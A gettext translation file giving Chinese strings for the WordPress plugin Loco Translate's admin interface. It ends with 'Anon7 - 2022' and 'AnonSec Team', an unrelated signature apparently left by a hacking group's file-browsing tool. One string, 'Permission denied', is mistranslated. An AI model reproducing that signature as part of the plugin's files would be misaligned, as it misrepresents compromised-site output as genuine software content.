msgid "File info"
msgstr "文件信息"

#: src/admin/file/BaseController.php:118
msgid "Source"
msgstr "源代码"

#: src/admin/file/BaseController.php:117
msgid "Editor"
msgstr "编辑"

#: src/admin/config/SettingsController.php:51
msgid "Super Admin"
msgstr "超级管理员"

#: src/admin/config/ApisController.php:69
#: src/admin/config/PrefsController.php:42
#: src/admin/config/SettingsController.php:79
#: src/admin/config/VersionController.php:22 src/mvc/AdminRouter.php:66
#: tpl/admin/help/tab-config.php:2
msgid "Plugin settings"
msgstr "插件设置"

#: src/admin/config/DebugController.php:55
msgid "System diagnostics"
msgstr "系统诊断"

#: src/admin/config/BaseController.php:21
#: src/admin/config/VersionController.php:13
msgid "Version"
msgstr "版本"

#: src/admin/config/BaseController.php:19
#: src/admin/config/PrefsController.php:13 src/mvc/AdminRouter.php:71
msgid "User options"
msgstr "用户选项"

#: src/admin/config/BaseController.php:18
msgid "Site options"
msgstr "站点选项"

#: src/admin/bundle/ViewController.php:133
#: src/admin/init/InitPoController.php:218 tpl/admin/init/init-pot.php:40
msgid "Create template"
msgstr "创建模板"

#: src/admin/bundle/ViewController.php:124
msgid "Edit template"
msgstr "编辑模板"

#: src/admin/bundle/ViewController.php:99 src/admin/file/BaseController.php:141
#: src/admin/init/InitPoController.php:16
#: src/admin/init/InitPoController.php:122
msgid "New language"
msgstr "新语言"

#. translators: %s is a quantity of files which were found, but whose context
#. is unknown
#: src/admin/bundle/SetupController.php:115
msgid "%s file can't be matched to a known set of strings"
msgid_plural "%s files can't be matched to a known set of strings"
msgstr[0] "%s个文件不能与已知的字符串集相匹配"

#: src/admin/bundle/SetupController.php:35
msgid "Bundle setup"
msgstr "捆绑包配置"

#: src/admin/bundle/SetupController.php:25
msgid "Setup tab"
msgstr "配置选项卡"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/SetupController.php:15
msgid "Set up %s"
msgstr "配置%s"

#: src/admin/bundle/ConfController.php:137 tpl/admin/bundle/setup/core.php:17
#: tpl/admin/bundle/setup/inc-nav.php:19
msgid "Advanced configuration"
msgstr "高级配置"

#: src/admin/bundle/ConfController.php:52
msgid "Advanced tab"
msgstr "高级选项卡"

#. translators: where %s is a plugin or theme
#: src/admin/bundle/ConfController.php:16
msgid "Configure %s"
msgstr "配置%s"

#: src/admin/bundle/BaseController.php:107
#: src/admin/config/DebugController.php:12 src/error/Debug.php:19
#: src/mvc/AdminRouter.php:77
msgid "Debug"
msgstr "调试"

#: src/admin/bundle/BaseController.php:102 tpl/admin/file/conf.php:58
#: tpl/admin/file/move.php:26
msgid "Advanced"
msgstr "高级"

#: src/admin/bundle/BaseController.php:101
msgid "Setup"
msgstr "配置"

#: src/admin/bundle/BaseController.php:54
msgid "Configuration reset"
msgstr "配置重置"

#: src/admin/bundle/BaseController.php:40
msgid "Configuration saved"
msgstr "配置已保存"

#. translators: home screen title where %s is the version number
#: src/admin/RootController.php:23
msgid "Loco Translate %s"
msgstr "Loco Translate %s"

#: src/admin/bundle/BaseController.php:100
#: src/admin/bundle/LocaleController.php:34
#: src/admin/bundle/ViewController.php:25
#: src/admin/config/BaseController.php:39 src/admin/file/EditController.php:27
#: src/admin/file/InfoController.php:26 src/admin/file/ViewController.php:26
#: src/admin/init/InitPoController.php:25
#: src/admin/init/InitPotController.php:25 src/admin/list/BaseController.php:45
#: src/admin/list/LocalesController.php:24 src/admin/RootController.php:12
msgid "Overview"
msgstr "概览"

#: src/admin/bundle/LocaleController.php:154 src/admin/Navigation.php:30
#: src/mvc/AdminRouter.php:49
msgid "Plugins"
msgstr "插件"

#: src/admin/bundle/LocaleController.php:149 src/admin/Navigation.php:27
#: src/mvc/AdminRouter.php:44
msgid "Themes"
msgstr "主题"

#: src/Locale.php:306
msgid "Invalid locale"
msgstr "无效的地区语言"

#. translators: %s refers to the name of a missing PHP extension, for example
#. "mbstring".
#: loco.php:131
msgid "Loco Translate requires the \"%s\" PHP extension. Ask your hosting provider to install it"
msgstr "Loco Translate需要\"%s\"PHP扩展。请要求您的主机提供商安装此扩展"

#. Author of the plugin
#: loco.php
msgid "Tim Whitlock"
msgstr "Tim Whitlock"

#. Plugin URI of the plugin
#: loco.php
msgid "https://wordpress.org/plugins/loco-translate/"
msgstr "https://wordpress.org/plugins/loco-translate/"

#. Translators: Placeholder text for text filter above editor
#: src/admin/file/EditController.php:228
msgid "Filter translations"
msgstr "过滤翻译"

#: tpl/admin/bundle/conf.php:65 tpl/admin/bundle/inc-po-table.php:45
#: tpl/admin/file/edit-pot.php:20 tpl/admin/file/info-pot.php:18
#: tpl/admin/file/view-pot.php:9
msgid "Template file"
msgstr "模板文件"

#: tpl/admin/config/apis.php:166 tpl/admin/config/prefs.php:44
#: tpl/admin/config/settings.php:233
msgid "Save settings"
msgstr "保存设置"

#: tpl/admin/config/settings.php:62
msgid "Number of backups to keep of each file:"
msgstr "每个文件要保留的备份数量:"

#: tpl/admin/config/settings.php:137
msgid "Include Fuzzy strings"
msgstr "包括模糊字符串"

#: tpl/admin/config/settings.php:131
msgid "Generate hash tables"
msgstr "生成哈希表"

#: tpl/admin/config/settings.php:120 tpl/admin/config/settings.php:126
msgid "Compiling MO files"
msgstr "编译MO文件"

#: tpl/admin/bundle/locale.php:14 tpl/admin/common/inc-po-header.php:8
#: tpl/admin/file/edit-pot.php:22 tpl/admin/file/view-pot.php:11
msgctxt "Modified time"
msgid "Updated"
msgstr "更新于"

#. translators: Warning appears when user tries to refresh or navigate away
#. when editor work is unsaved
#: src/js/Strings.php:105
msgid "Your changes will be lost if you continue without saving"
msgstr "如果您不保存而继续,则修改将会丢失"

#. translators: Summary of existing strings that no longer exist after running
#. in-editor Sync xgettext: javascript-format
#: src/js/Strings.php:32
msgid "%s obsolete string removed"
msgid_plural "%s obsolete strings removed"
msgstr[0] "移除了 %s 个过时的字符串"

#. translators: Summary of new strings after running in-editor Sync xgettext:
#. javascript-format
#: src/js/Strings.php:28
msgid "%s new string added"
msgid_plural "%s new strings added"
msgstr[0] "添加了 %s个新字符串"

#. translators: Message appears after sync operation.
#: src/js/Strings.php:47
msgid "Strings up to date with source code"
msgstr "源代码最新的字符串"

#. translators: Message appears after sync operation
#: src/js/Strings.php:24
msgid "Merged from source code"
msgstr "从源代码合并"

#. translators: Where %s is the name of the POT template file. Message appears
#. after sync xgettext: javascript-format
#: src/js/Strings.php:21
msgid "Merged from %s"
msgstr "已从 %s合并"

#. translators: Success notice where %s is a file extension, e.g. "PO"
#: src/admin/file/HeadController.php:81 src/gettext/Compiler.php:287
msgid "%s file saved"
msgstr "%s文件已保存"

#: src/js/Strings.php:145
msgid "Unknown error"
msgstr "未知错误"

#: src/admin/file/EditController.php:182 src/mvc/AdminRouter.php:67
#: src/mvc/AdminRouter.php:72 tpl/admin/common/inc-fsconn.php:18
#: tpl/admin/common/inc-fsconn.php:43 tpl/admin/errors/no-backups.php:24
#: tpl/ajax/modal-apis-empty.php:15
msgid "Settings"
msgstr "设置"

#. Plugin Name of the plugin
#: loco.php src/hooks/AdminHooks.php:88 src/mvc/AdminRouter.php:37
msgid "Loco Translate"
msgstr "Loco Translate"

#. translators: Page title for plugin home screen
#: src/mvc/AdminRouter.php:39
msgid "Loco, Translation Management"
msgstr "Loco,翻译管理"

#. translators: Shows number of untranslated strings at top of editor
#. translators: Shows number of untranslated strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:209 src/js/Strings.php:121
msgid "%s untranslated"
msgstr "%s未翻译"

#. translators: Shows number of fuzzy strings at top of editor
#. translators: Shows number of fuzzy strings at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:205 src/js/Strings.php:117
msgid "%s fuzzy"
msgstr "%s模糊"

#. translators: Shows percentage translated at top of editor
#. translators: Shows percentage translated at top of editor xgettext:
#. javascript-format
#: src/gettext/Metadata.php:202 src/js/Strings.php:113
msgid "%s%% translated"
msgstr "%s%%已翻译"

#: src/admin/config/ApisController.php:53
#: src/admin/config/PrefsController.php:26
#: src/admin/config/SettingsController.php:31
msgid "Settings saved"
msgstr "设置已保存"

#: src/error/WriteException.php:13
msgid "Permission denied"
msgstr "拒绝批准"

Anon7 - 2022
AnonSec Team